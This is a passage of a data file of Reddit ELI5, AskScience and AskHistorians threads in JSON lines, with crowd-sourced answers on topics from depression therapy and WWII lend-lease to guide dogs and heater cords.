{"q_id": "cf5s4l", "title": "since depression damages the brain, is there any way to repair or gain back what was lost? like, physical therapy for your mind?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cf5s4l/eli5_since_depression_damages_the_brain_is_there/", "answers": {"a_id": ["eu7lkn6"], "score": [56], "text": ["Yes, absolutely, that's the idea behind cognitive therapies, which have been shown to be very effective (and getting better with further developments) in treating depression.\n\nThe brain isn't a static thing, it's always changing and adapting. New connections are formed, strengthened, and weakened in every moment. Look at brain changes like momentum, as in a snowball rolling down a hill; the more a mental pattern is repeated, the more cemented it becomes, or the more momentum it accumulates. The more reinforced and more emotionally charged our mental formations and patterns are, the more power they have, and the harder they are to stop, but they are always reversible with some work.\n\nDepression is essentially the accumulation of a bunch of negative, self-damaging mental patterns. Undoing depression requires going in and reconditioning/rewiring these mental patterns, through habitual reinforcement.\n\nIt's actually great to view the brain like another muscle, in that it has the capacity for self-healing and growth. Whereas physical therapy stimulates and activates the right muscles in the right way to promote healing, cognitive therapy stimulates and activates the neurological parts of the brain in the right way to promote healing.\n\nInterestingly, just like the body, the brain has self-healing capacities, that are often held back by trauma or faulty cognitive patterns. Many newer therapies are therefore centered around removing certain \"blocks\" in the mental system, kind of like how a massage therapist works out \"knots\" in the neck and shoulders so that the muscles can naturally heal.\n\nThere's lots of books on this. You can research neurogenesis and cognitive therapies, of which I highly recommend looking into DBT and MBCT. I currently recommend Mindsight by Dan Seigel for a good intro to all of this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "wf88w", "title": "If all recorded scientific knowledge was lost, but scientists and experts still existed, how much could we recover?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wf88w/if_all_recorded_scientific_knowledge_was_lost_but/", "answers": {"a_id": ["c5cthdm", "c5cu8el"], "score": [2, 2], "text": ["Even if the information no longer existed in memory, scientific knowledge could be rediscovered the same way it was discovered in the first place.", "The following does not directly answer your question but it is certainly related. Feynman once said:\n\n\"If, in some cataclysm, all of scientific knowledge were to be destroyed, and only one sentence passed on to the next generation of creatures, what statement would contain the most information in the fewest words? I believe it is the atomic hypothesis that\n\nAll things are made of atoms-little particles that that move around in perpetual motion, attracting each other when they are a little distance apart, but repelling upon being squeezed into one another.\n\nIn that one sentence, you will see, there is an enormous amount  of information about the world, if just a little imagination and thinking are applied.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6owvur", "title": "Why is Mexican food so different from Spanish food, while American and British cuisines are so similar to each other?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6owvur/why_is_mexican_food_so_different_from_spanish/", "answers": {"a_id": ["dklhw4g"], "score": [2], "text": ["As a corollary: are there any \"American\" foods that are Eastern Native American foods in whole, other than corn on the cob? If not, why not?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1hjeib", "title": "Let's talk numbers, how much did American financial/munitions aid assist in the War? Did the Allies (barring the USSR) have the capability to win with American aid but not soldiers? Without either?", "selftext": "I apologize. I edited the title and forgot to respecify which war. World War II, I'm talking about.\n\n\nIt seems, as of late, many European resditors have been implying the United States only played a marginal role in World War II.\n\n---\nI realize the possible answers to this question might be rather subjective, and I apologize for that as well. However, many of you are skilled historians who have looked much deeper into the subject than I\u2014a simple layman\u2014could have possibly done through the Internet. I hope the nature of this question doesn't cause too much trouble with the mods.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hjeib/lets_talk_numbers_how_much_did_american/", "answers": {"a_id": ["cauxid4", "cav1b3d", "cav31nt"], "score": [5, 2, 9], "text": ["The  United  States  entered  WWII  late.  The  US  did  not  start  to  rearm  until  1938.  It  started  a  peacetime  draft  in  1940,  the  same  year  it  passed  the  Two  Ocean  Navy  Act.  In  1941,  US  Industry  was  still  gearing  up  for  a  major  war.  It  sold  weapons  to  Great  Britain  and  France  before  the  war  started,  and  much  larger  orders  were  placed  after  the  war  started.  However,  these  weapons  were  obsolete,  like  the  Curtis  Hawk  75  and  Voight  Vindicator  divebombers.  Newer  weapons,  like  the  P-40,  P-39  and  B-24  bombers  took  longer  to  build,  and  were  not  ready  until  the  summer  of  1940,  after  France  fell.  It  can  honestly  be  said  the  United  States  provided  little  in  the  way  of  material  asistance  to  the  Third  French  Republic  in  1940.  After  the  United  State  was  fully  mobilized,  it  was  able  to  equip  two  Free  French  Armies,  in  time  for  the  1944  liberation  of  France.      \n\n That  was  another bone  of  contention.  Especially with  the  Soviet  Union.  The  United  States  did  not  open  up  a  Second  Front  until  June  6  1944.  That  is  when  the  US  British,  Canadian  Polish  and  Free  French  armies  began  to  engage  a  large  number  of  Germans.  The  earlier  campaigns  in  Tunesia,  Sicily  and  Italy  engaged  far  fewer  German  troops.      ", "This is a follow-up question:\n\nWhen talking about WW2, people usually define it as the European Theater. There's a lot of debate on whether U.S. intervention over there.\n\nHowever, could I also ask whether American's intervention helped in the Pacific Theater both in the Chinese theater with KMT against Japan and in South East Asia?\n", "There can be no question that lend-lease had a huge impact on the war. The US poured fully the equivalent of the combined GDP of the UK and France (plus a bit more) into the war effort through lend-lease alone. Without that aid the UK would have starved and its industry and military would have ground to a halt, and Soviet industry and logistics would have also ground to a halt.\n\nA lot of the warfighting materiel that lend-lease provided was obsolete, old airplanes, old tanks, and so forth, but that's not where the main advantage of lend-lease was. The main advantage was in logistical support. Providing food and basics like clothing and shoes for soldiers and workers. Providing steel and oil and coal. In the case of the Soviet Union almost their entire industry and logistical operations had become utterly dependent on lend-lease. Factories that would not have been able to run without raw materials. Would not have been able to deliver their products to the front lines using locomotives and trucks.\n\nIf Soviet factories had operated at only a fraction of their capacity during the war, and if they had had to divert a significant amount of that capacity to building locomotives and trucks in order to facilitate basic logistical and industrial infrastructure needs how many fewer T-34 tanks would they have manufactured? How many fewer bullets would have been made? How many fewer bullets would have made it to the front lines? And so forth. Would the USSR have lost the battle of Kursk? The battle of Stalingrad?\n\nSimilarly, the battle of Britain was a close thing, with a nation on the brink of starvation, unable to produce the aircraft needed to strike into Germany, low on fuel, and so forth would Britain have been able to survive additional waves? Additional, inevitable, battles over the skies of Britain, additional Blitzes? Remember that in the 1940s Britain imported more than 2/3 of its food. Without American assistance in building a massive amount of new shipping capability (with Liberty ships and so forth) as well as actively protecting shipments and shipping lanes in the North Atlantic through numerous and extensive anti-submarine measures it was far more likely for the U-boats to have effectively blockaded a significant amount of trade to Britain.\n\nAnd without the UK and the USSR able to fight effectively the outcome of the war would have not been the same.\n\n-\n\nThe question of whether or not it would have been possible for the Allies to win the war with only American logistical assistance but not military assistance is much harder to gauge, because it's far more speculative and there are far more potential variations. My gut says that it would not have been possible because there was no other realistic check on Japanese power in the Pacific than the US. The Soviets were in no position to take on the Japanese on land until the war on the Eastern front had wrapped up, and the British (and their commonwealth partners) were in no position to take on the Japanese and win. More so, without US bombers and service men participating in the Allied bombing campaign, German industry would have been able to run at a significantly greater capacity. Even more significant, the Japanese would have been capable of providing significant lend-lease type assistance to the European Axis powers. Imagine what happens if you steam, say, the Yamato and the Musashi plus a handful of fleet carriers and a gaggle of submarines over into the Atlantic to take on shipping and naval forces and to make raids against land targets. Imagine what happens when the Japanese army in China opens a front against the Soviets, and able to concentrate all their efforts (industrially and militarily) on the fight. Or, imagine what happens when combined Axis forces invade Iran and shut down that supply route from the US to the Soviets. And so forth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "dsheeq", "title": "madonna-whore complex by sigmund freud", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dsheeq/eli5_madonnawhore_complex_by_sigmund_freud/", "answers": {"a_id": ["f6pc80f", "f6pgll1", "f6pzo9u", "f6q1ny8", "f6qdc89", "f6qzm4d", "f6s1wfg"], "score": [5054, 1611, 24, 34, 101, 15, 2], "text": ["Freud talked about a few different reasons that may cause it, but I will not go over those unless you ask. I will focus solely on what the Complex itself is.\n\nBasically, in men who have had some sort of psychological development issues, there is a problem in seeing women as a whole and independent person. They have to define each woman they see in a certain way in order to understand them. \n\nThe two ways that these men define women is into either the \"Madonna\" category, or the \"Whore\" category. \n\nMadonna refers to Mary, the mother of Jesus. Women who fit into this category are loved as holy art. They are objectified to be above and beyond. They are the focus of devotional love and obsession, primarily focused on their purity. However, a man who is in love with a women who they categorize as \"Madonna\" will be unable to feel sexual attraction towards her, or if he does, he will feel disgusted at himself. The purity and holiness that he identifies with the woman will either keep him from being attracted or make him feel like he has violated a holy a sacred object if he feels sexual desire towards it. \n\n\"Whore\" of course refers to a woman who is used purely for sexual desire. A woman who fits into this category could never be the focus of the mans love. He will lust after her, but he would be willing to insult and degrade her all the same. She lacks the holy nature of the Madonna. She is solely the focus of the man's darker lusts.", "A man's primary female role model is his mother, whom he sees morally upstanding and chaste.  As he matures, he becomes sexually attracted to women and sees them as objects of desire.\n\nThis creates a conflict.  He desires a woman who will satisfy his lust (the whore), but he also wants a woman who exudes feminine virtue (the madonna).  He is often initially attracted to the madonna and tries to win her physical affection, but once he does, she is no longer the madonna and his attraction fades.", "If Freud was discredited does anyone else have theories which are more scientifically valid around the same subject?", "And what if this kind of complex is in a woman, but towards herself? Is there a name or anything addressing that?", "Most basically it refers to men\u2019s tendency to split women into either idealised mother figures (the Madonna), who nurture and care for children, or sexually promiscuous sluts (the whore). \n\nSplitting here refers to an internal psychological mechanism that separates representations of one \u2018object\u2019 into distinct polarities (eg of good and bad, black and white). Why does this mechanism exist? It is a way of managing the conflict that is generated when we have conflictual feelings about the same object (ie it is one of many defence mechanisms). \n\nIn this case, sexual desire and the desire to be mothered are opposed to one another, that is men (or some men, to a greater or lesser extent) struggle to integrate both sexual / aggressive and loving / tender feelings towards the same woman. As a result they idealise some women (but cannot be sexually aroused by them) and denigrate others in a sexually excited way (but cannot love them). It speaks to the situation that where there can be sex there can be no love and where there is love no sex. Extra martial affairs and pornography might be seen as expressions of such splitting. \n\nLastly I\u2019m not sure that the phrase mother-Madonna-whore came from Freud specifically. Nor did he speak of splitting as such (or only briefly before he died), so aspects of this were developed by other analysts after him.\n\nEdit: I\u2019d just add, whether or not we agree with Freud\u2019s explanation of *why* such splitting occurs, it seems incontestable that such splitting *does* occur. The former is a strictly psychoanalytic account which you may agree or disagree with, the latter is merely an identifiable feature of sexuality perhaps more common in men (though that\u2019s open to debate).", "You can't love what you have sex with and you can't have sex with what you love. To radically simplify it and it's implications.", "Freud never used the term 'madonna-whore complex', this was the name that was given after his death to something he described in an article called 'On the Universal Tendency to Debasement in the Sphere of Love'.\n\nFreud noticed that a fairly common feature of male sexuality is a tendency to split their love interests in two.\n\nIn male sexuality, you find:\n\n* The woman who is loved but can't be desired sexually\n* The woman who can be desired sexually but not loved\n\nThe loved woman is usually the partner, and is related to more or less like a mother.\n\nThe place of the sexually desired woman can be filled in various ways: a mistress, a prostitute, porn actor, a woman from the man's past, etc.\n\nLess important than the people the drama is played out are the *structural places* the women in the man's life occupy. Freud argued that this splitting could be traced back to the time of the Oedipus complex, and is linked to repression."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5hq9tt", "title": "how do the active ingredients in vaporub work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5hq9tt/eli5_how_do_the_active_ingredients_in_vaporub_work/", "answers": {"a_id": ["db2i0fn"], "score": [3], "text": ["I made a quick video that goes over how it works! Video is [here](_URL_0_)\n\nHave a good day!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=g1uN9_3ItAY&amp;feature=youtu.be"]]}
{"q_id": "21xfa9", "title": "How do squirrels and other tree-traipsing animals know a branch will support their weight?", "selftext": "Or do they?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21xfa9/how_do_squirrels_and_other_treetraipsing_animals/", "answers": {"a_id": ["cghfgez"], "score": [7], "text": ["I would hazard an educated guess that they do just what we do.....estimate through experience weather a branch will support their weight before they put their full weight on it.  Keep in mind also that squirrels are quite a bit more dextrous and lighter than us, so if they DO fall it is much less likely to cause them injury or permanent harm.  They don't always get it right either.....many times I have seen branches break off under squirrels and a fall result.  The squirrel usually recovers quickly and runs off, or climbs back up the tree."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2yxgb6", "title": "Can a magnetic field be strong enough to ionize an atom?", "selftext": "Neutrally charged particles are apparently not affected by magnetic fields, but an atom is made out of a charged nucleus surrounded by charged electrons, so could a magnetic field ever be strong enough to overcome the electric force keeping them together?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2yxgb6/can_a_magnetic_field_be_strong_enough_to_ionize/", "answers": {"a_id": ["cpe2i9y", "cpe2wgf"], "score": [4, 14], "text": ["Yes. We exploit this in an instrument called an inductively coupled plasma spectrometer (either optical emission or mass spec detectors are used). \n\nWe use alternating current in a copper coil to induce a time varying magnetic field in rarified argon gas... this induces an azimuthal electric field in the argon, generating argon plasma. We then pump sample solutions into this plasma for analysis.", "No. Not directly. But the reason is because static magnetic fields do no work (on electric charge\\*) and thus cannot deliver energy. The reason is not because magnetic fields are too weak.\n\nSo what *does* happen when you apply a very strong magnetic field to an atom? The electrons get squished into very tight orbits and the atom gets squeezed into a needle shape. The strongest magnetic fields in the world are thought to be on the surface of magnetic neutron stars ([magnetars](_URL_0_)). Here, atoms are believed to be squeezed into very thin needle shapes. \n\nNote that magnetic fields can do work indirectly through an electric field. If you vary a magnetic field, it can produce an electric field that does work on a charge, thereby giving it energy. But in that case, you really don't have an isolated magnetic field anymore. You have an electromagnetic field.\n\n\\*UPDATE: Static magnetic fields can do no work on electric charge, but they may be able to do work on fundamental magnetic dipole moments, depending on how you interpret it. Since an electron has both electric charge and an intrinsic magnetic moment, the answer gets complicated. The force felt on an electron because of its electric charge (qv x B) definitely does no work. It will cause the electron orbitals to narrow rather than cause the electron to be removed from the atom. \n\nThe force felt on an electron because of its intrinsic magnetic moment could rip the electron off the atom, but the field would have to be highly non-uniform, and you could still interpret this as the magnetic field doing no work. A *uniform* static magnetic field will not ionize atoms, no matter how strong. Note that many magnetic fields that are non-uniform are very very close to uniform on the scale of an atom. A properly constructed magnetic field - very non-uniform on the scale of an atom and very strong - could ionize an atom by coupling to the electron's intrinsic magnetic moment. But, even then, you can interpret the energy as coming from [the atom and not from the magnetic field](_URL_1_).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Magnetar", "http://academic.csuohio.edu/deissler/PhysRevE_77_036609.pdf"]]}
{"q_id": "2pmuda", "title": "what did sony achieve by cancelling \"the interview\"?", "selftext": "In my narrow view on the matter, it appears that the hackers have won. The movie isn't showing because of their threats. They likely had no intention, let alone method of carrying out these threats. It also legitimizes what they did. Why cancel the movie?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pmuda/eli5_what_did_sony_achieve_by_cancelling_the/", "answers": {"a_id": ["cmy4rdo", "cmy4roq", "cmy4rsj", "cmy500f", "cmy595u", "cmy9ezm", "cmyb2vs", "cmyjl09", "cmyrqj6"], "score": [9, 2, 7, 2, 2, 5, 3, 2, 2], "text": ["Their top execs worst secrets from being exposed.", "It's called negative advertising.  Doesn't matter if people don't see it in theatre, they'll go out of their way to see what all the fuss is about. ", "What they achieved was likely safety of their staff and the staff of the movie theaters and premises where it was going to be shown.  There were threats that these places and their staff would be harmed or attacked and that they would also be hacked.  \n\nThey have already hacked secure servers belonging to Sony and stolen a hell of a lot of sensitive information including staff information, emails, personal details... regardless of whether they had the intention or method, that chance simply **cannot** be taken.  \n\nIt doesn't legitimize what they did - what they did is still a criminal act.  Does you putting an extra bolt on your door, or a burglar alarm on your house after a burglary, legitimize the burglary?", "They thought people may be harmed... With a threat referencing 911 people tend to get nervous", "Overall I think that this decision will actually work out in their favor. honestly, who thought that this movie would do well? i didn't. This decision is the best advertising. Tell the public they can't have it then a week or so later release it and have twice the estimated profits on opening day. (just a theory)", "They didn't really have a choice. All the major theater chains refused to show it, on account of the threats. On why the theater chains canceled, it's probably an unwillingness to deal with the fallout should an actual attack happen.", "Simplest possible answer is **Fear of lawsuit.**  If one person were to be injured at a theater where there was a clear threat, every lawyer in the county would be lining up to sue the socks off of anybody with a pulse.", "They couldn't release it because all the movie theater chains dropped it.", "They established a precedent for censorship.\n\nBy caving in to (almost certainly bogus) threats of violence, they have signaled their willingness to take the easy way out, and thus have opened the floodgates to anybody with a beef and an anonymous communications channel being able to shut down viewpoints they don't agree with.\n\nAnd if anybody downvotes this, I SWEAR by almighty Cthulu that I will seek you out and blow up your house. So there. (note for the humor-challenged: it's, I say, it's a *joke,* son).\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "a6gcga", "title": "why is it so hard to forget movie spoilers, but so easy to forget more important stuff?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6gcga/eli5_why_is_it_so_hard_to_forget_movie_spoilers/", "answers": {"a_id": ["ebun6if", "ebuvst2", "ebv08sk", "ebv0a0g", "ebv1prf", "ebv2ezx", "ebv39e2", "ebv3tq8", "ebv4ep6", "ebv6icx", "ebvcpac"], "score": [7183, 961, 40, 82, 5, 9, 21, 2, 11, 4, 2], "text": ["You don't generally really forget important stuff, you just don't remember it at the correct time. Its rare that if you forgot a meeting, that you have absolutely no clue you should have been in it, after someone reminds you. Once you get triggered, you remember.\n\nNow in case of movie spoilers, you always get triggered to remember it at the worst time. The moment you go see the movie. Giving the impression you never forget a spoiler, but always forget a important meeting.", "The reasons listed are great but another that no one has mentioned is that memories attached with emotion are easier to remember. \n\nYou were probably rather mad/sad or any other emotion when the spoilers were told to you. Therefore you remember it more.\n\nSTUDY TIP: associate things with emotions to remember things on a test better. ", "u/oaden\u2019s answer is a good one.  However, you should also note that intentionally trying not to think about something  (as  we often do with spoilers) will actually make it more memorable and more likely to come to mind unintentionally.  (see [_URL_0_](_URL_1_))", "You remember things better if you can make logical connections to other things you know, or if you get an emotional reaction to the fact. \n\nMovie spoilers often happen after you\u2019ve heard preliminary info about the movie. Hearing the spoiler connects the dots in your head, it\u2019s like dropping something onto a single strand of spiderweb or onto a full net\u2014the net connects in more ways and the spoiler \u201csticks\u201d better. \n\nPlus, you\u2019re pissed that someone spoiled it for you. That emotional reaction helps you remember. \n\nCompare this to, \u201cThere\u2019s a budget meeting next Tuesday and we need those numbers by Monday.\u201d  Good luck remembering that dry data\u2014unless of course it fills you with fear, of course. ", "As already said, you dont really forget important things, but the ability to recall them isn't working in your favor. A good way to tell if you have stored something in your long term memory is if you can recall it 5 minutes later (it's way shorter than that but better too long than too quick [joke drum line]). Your short term memory erases things in seconds to make room for new information coming in.", "Because human beings have content addressable memories unlike computers which have indexed addressable memories.", "Contextual memory is a bitch.\n\nYou remember the spoiler because you're watching the movie.\n\nJust like how you remember lyrics when the song is playing.", "Because you care about the plot of the movie. That's why you watched it. It interested you. Other stuff might be important, but you probably don't care about it that much beyond what it can get you. Unless it's something profoundly beneficial, it's doubtful you'll be all that interested. Humans are also natural story tellers and have a sort of instinctual interest in dramatic tension.", "Homo Sapiens evolved using stories as learning and to unify groups (ie religious stories). They think that we outlived Neanderthals because we told stories that United larger groups than Neanderthals could. The reason that movies like the ones in the marvel universe consist of some of the highest budgets and best technology is because as people we're obsessed with stories. You will remember a compelling story line (one with archetypal elements) far more easily than just information. If the information is presented in story format you'll remember that more easily as well. It's in our DNA. ", "Looks like no one has mentioned IMO the most important thing.\n\nMovie plots are an example of episodic memory. Our brains have evolved to be pretty good at remembering [i]events[/i], things that have happened. This, combined with the emotional aspects as others have mentioned make spoilers impossible to forget.\n\nDates, numbers, names, laws, facts are important these days, but are evolutionary a very recent concept. Our brains tend to not care at all about these things because they never existed in our past. It's only through procedural learning (repeating these names/numbers over again) that they become engrained in us.\n\nAlso, the movie thing only really works if we have some previous emotional investment in the movie/characters. If it's something you've never seen before and don't care about, someone can give you the biggest spoiler but after enough time you won't remember at all. ", "This makes no sense? What is the context... \n\n\"When\" are these things supposed to occur, would be the pertinent question.\n\nIf you asked me what the spoiler or twist is in a certain movie I haven't seen for a really long time, I might not remember.\n\nIf the entire movie hinges on one important plot point, then its likely all you will remember about that film. If I mention Shawshank Redemption, there are actually about 3 or 4 important events and you wouldn't be able to name all of them - perhaps just an important plot point overall.\n\nAlso, movies tend to come in a capsule. You've got the name of the Movie, which then helps you remember the plot, which then helps you remember the twist of whatever.\n\nWhereas 'important stuff' could be literally any subject whatsoever.. a business meeting, a birthday, a phone number, an address.. etc.\n\nWithout the 'capsule' to kick off the domino effect of thinking your way to the actual thing you need to remember, you'll never spontaneously think of it. That's why we set alarms and stuff.. also, important things tend to be remembered nearer the time they are to occur or affect you. Movies happen throughout your life and you compact all the information in them down to the name of the movie.\n\n\"Stuff\" is just such a vague term, you could forget everything about stuff until it becomes necessary to remember it again. Also, you can be told an important 'thing' in 5 seconds.. Whereas you sit for 2 hours watching one movie to remember the couple of important plot points of it.."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Ironic\\_process\\_theory", "https://en.m.wikipedia.org/wiki/Ironic_process_theory"], [], [], [], [], [], [], [], []]}
{"q_id": "9vw1lg", "title": "why do the cord and plug of things like electric heaters get really hot when plugged in sometimes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vw1lg/eli5_why_do_the_cord_and_plug_of_things_like/", "answers": {"a_id": ["e9fh9t1", "e9fhcy8", "e9fhkh4", "e9hokdm"], "score": [15, 4, 3, 2], "text": ["You know how you can rub your hands together and they get warm?  Well, a bunch of electrons are running through those wires, rubbing on the them, making them hotter. ", "Everything has some amount of electrical resistance. In the case of the heater, the coils are deliberately made to be very resistant, so that as the electricity passes through them they heat up. The cords feeding the heater from the outlet are designed to have as little resistance as possible, within the limitations of cost and length and such, but they still do have some resistance.\n\nThe more power you push through the wires, the more heat is generated from the resistance. Heaters use a lot of power - all that resistance to generate heat means it takes a lot of power to push through. If you crank the power up to the max, even though the resistance of the cord is much lower than the wire in the coils, you're drawing enough power through the cord to cause it to heat up.\n\nMost home appliances don't use enough power for this to be noticeable. Electric heaters are often right on the edge of what is safe for you to draw from a regular outlet, and with the need for the convenience of a long cord, they're right about at the intersection of drawing a ton of power, needing to be affordable, needing to be convenient, and not lawfully requiring special cords. So they can get warm if you use them too much.\n\nWhich is another reason to **never** leave a portable electric heater unattended.", "It is making poor contact and either the plug, the receptacle,  or both need to be replaced before it starts a fire. The poor contact has more resistance and the power dissipated by it is p= I^2 R. I is current and R is resistance.  In a properly designed system the temperature rise is enough to be noticed, but should never get hot. ", "Things like electric heaters pull a lot of electrical current. Electrical current can heat up a wire that isn't thick enough to handle it, or it can heat up a plug that isn't making a very good connection."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2rxyh0", "title": "why are women's only organizations okay but men's only organizations seem to not be okay and don't exist anymore?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rxyh0/eli5_why_are_womens_only_organizations_okay_but/", "answers": {"a_id": ["cnkblxj", "cnkbopv", "cnkdatc", "cnke77t", "cnkfgp8", "cnkfjl1"], "score": [37, 28, 7, 2, 2, 2], "text": ["The freemasons are men only... as are all other fraternities", "It's NOT ok to have women's only organizations and no men only organizations.  That's why there are both; there are boy scouts and girl scouts, and fraternal organizations are men only.  Curves is silly since there is not an 'Angles', but its a private company; they can do what they like.  AND there IS the YMCA with the YWCA. \n\nAs for Barber Barber, those are just the male-hating lesbian fanatic faction of feminists that want to get their man-styled-haircuts in a real barber shop to feel more masculine.  Fanatics -always- find things to not be ok about.  And fanatics get very hateful and sometimes even violent as we've recently seen.   \n\nYou have to learn to ignore fanatics.  They don't take the temperature of the world, and they don't represent the majority.  They are fringe.  Yes, they make a big loud stink, but they are only a tiny fraction of the population.  \n", "Women's only organizations were mostly formed in *response* to men's only organizations not letting them in. If there weren't men's only groups, there wouldn't be women's only groups.", "You're opening up a whole can of worms asking this question, as a lot of people feel strongly about men's and women's rights one way or the other. \n\nAs I see it, women's only groups tend to be reactions to spaces women aren't technically barred from, but will be ostracised from regardless through bullying, harassment, politicking etc.\n\nI think a lot of men don't realise how difficult it can be for a woman to perform day-to-day tasks without feeling threatened, unwelcome or unsafe. Women only spaces tend to give them a place they can go where they don't have to worry about persecution - though depending on the rest of the people in those groups, this is not always true, you're always going to find assholes in life.", "discrimination laws apply to \"places of public accommodation\". that term is rather ill-defined under the law, but it tends to work against places who's chief source of income is the provision of goods and services. this is why gym's (women's or otherwise) have frequently come under fire. you really are paying for a tangible product in the use of their space and equipment.\n \nthe terms \"fraternal organization\" and \"fraternity\" are associated with colleges in common parlance but actually refer to a huge number of groups that are private clubs for men. you don't hear about them because they are what they say they are. private clubs. women have similar ones, though they tend to be smaller and/or newer. ", "I don't understand clubs like black engineers society it women's engineer society. I don't know what their purpose is. I'm just curious as to their goals or purpose. If anyone knows and could explain I'd appreciate it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4l4ii1", "title": "how do guide dogs know where their owner wants to go?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4l4ii1/eli5_how_do_guide_dogs_know_where_their_owner/", "answers": {"a_id": ["d3k8hko", "d3k8j5y", "d3k8kfr", "d3kavl2", "d3kgi5i", "d3kp0et", "d3kro8b", "d3kv6wu", "d3kwc5a", "d3kyhvr", "d3kz2qg", "d3l4jc3", "d3l62pf", "d3lrdvo"], "score": [1156, 22, 359, 4267, 48, 69, 9, 2, 3, 5, 28, 3, 9, 2], "text": ["They don't, the owner knows the route. The dog is just there to help with any obstacles in the way, roads, people, objects...\n\nBlind people are super good at knowing routes and repeating them, there is this lady I see every day in the underground. The first day I saw her she was walking faster than me without using her cane and I thought \"Maybe she still has some vision left and is not entirely blind\", One day I offered her help and talking to her she couldn't see anything and still was able to navigate through the tunnels at such speed. (Watching her walk near the rails at that speed still makes me worry for her every time)", "They aren't Sat Navs, the owner needs to know where they want to go and how to get there. The dog primarily ensures that they keep to paths, avoid hazards, roads etc. ", "Seeing eye dogs don't actually know where to go or how to get to somewhere.  What they are taught is how to safely follow commands such as \"left\" \"right\" and \"forward\".  If the handler says to go forward, the dog will only do so if it is safe.  For example at a traffic light, a blind person may command forward based on the sound of traffic being stopped, or the newer talking \"walk / don't walk\" lights saying to go, but the dog will stop if he sees a car parked in the crosswalk, or senses another unsafe condition. \n\nBlind people generally know their community and are familiar with the areas they live and work, so giving direction to the dog is way for common destinations.  For a new or unfamiliar area, they ask directions like anyone else would, and then issue the same commands to the dog. ", "Guide dogs only know that the route is obstacle free. ( open manhole covers, low hanging trees , etc) it's up to the blind person to know \"i have to cross three streets and make a left\" it's called orientation and mobility skills (o & m) \nIf a blind person does NOT have good o & m they could be refused a dog, as it would not be safe for either of them.\n\nSource: married to a guide dog instructor", "In my limited experience of knowing people with guide dogs, both the dog and the owner needs to be taught and practice the routes they use. They [train together for 4 weeks](_URL_0_).\n\nIf they want to go to a new route, e.g. the local post office has closed and they need to go to another one, then someone has to come and help them learn the route.\n\nFrom the [Guide Dogs for the Blind](_URL_2_) website\n\nSome of the skills Guide Dogs learn include:\n\n* Leading a person in a straight line from point A to point B\n* Stopping for all changes in elevation, including curbs and stairs\n* Stopping for overhead obstacles, such as tree limbs\n* Avoiding obstacles in their path\n\nTwo things Guide Dogs can't do:\n\n* Determine the route to a new destination\n* Read traffic signals\n\n\n >  ###They can't check the traffic lights!\n\n >  It\u2019s a popular misconception that a guide dog will know when to cross the road by waiting for the green light. In reality, it\u2019s a team effort \u2013 and not an easy task. On a standard kerb-to-kerb crossing known to the owner, the guide dog is trained to stop at the edge, to indicate it has reached a crossing. The owner will listen for traffic, then, when he or she decides it\u2019s safe, give the command \u2018Forward!\u2019 However, the guide dog\u2019s training teaches them NOT to obey the command if a car\u2019s coming.\n\nSource: [Guide Dogs for the Blind](_URL_1_)\n", "I'm legally blind, and had a service dog, and I've heard this question so many times. The dog isn't like GPS. It's the human's job to know the route. If my dog was in charge of how I'm getting anywhere, every journey would involve stops at the jerky shop, the pet store, and the dog park every single time.\n\nGive blind people some credit, here. We're not stupid.", "As a side question, may I ask, who picks up Guide Dog poop?", "But how do guide dogs look out for low hanging branches? Everyone knows that dogs can't look up.", "What happens if a blind persons normal route is disrupted say two streets are blocked and you need to make a inconvenient detour? What happens in those cases?", "I was walking into Wal-Mart and saw a seeing eye dog lead his owner into the cart door. You know,  the one that's made specifically for carts.", "I am blind and on my second Seeing Eye dog. My current partner, a lovely 23-month-old German shepherd, doesn't know where to go, but she does know how to follow my commands. It's my responsibility in the parntership to translate all routes into a series of commands the dog understands -- right, left, forward. My partner follows these commands to the extent that doing so will not place me in danger. She may deviate from them to go around mobile or stationery obstacles, or refuse to obey them if the route becomes dangerous (car cuts me off in a crosswalk, I get disoriented and tell her to walk off the train platform). We have overlapping responsibilities to know where we're going and get there safely. I memorise the routes, or carry a GPS set to \"walking\" navigation mode. She knows the commands, recognises obstacles and threats, and points out familiar landmarks such as businesses we've entered before, an office or bathroom along the hallway that we've entered before, et cetera.\n\nAny more questions I can answer for you about living on the dark side?", "I actually worked 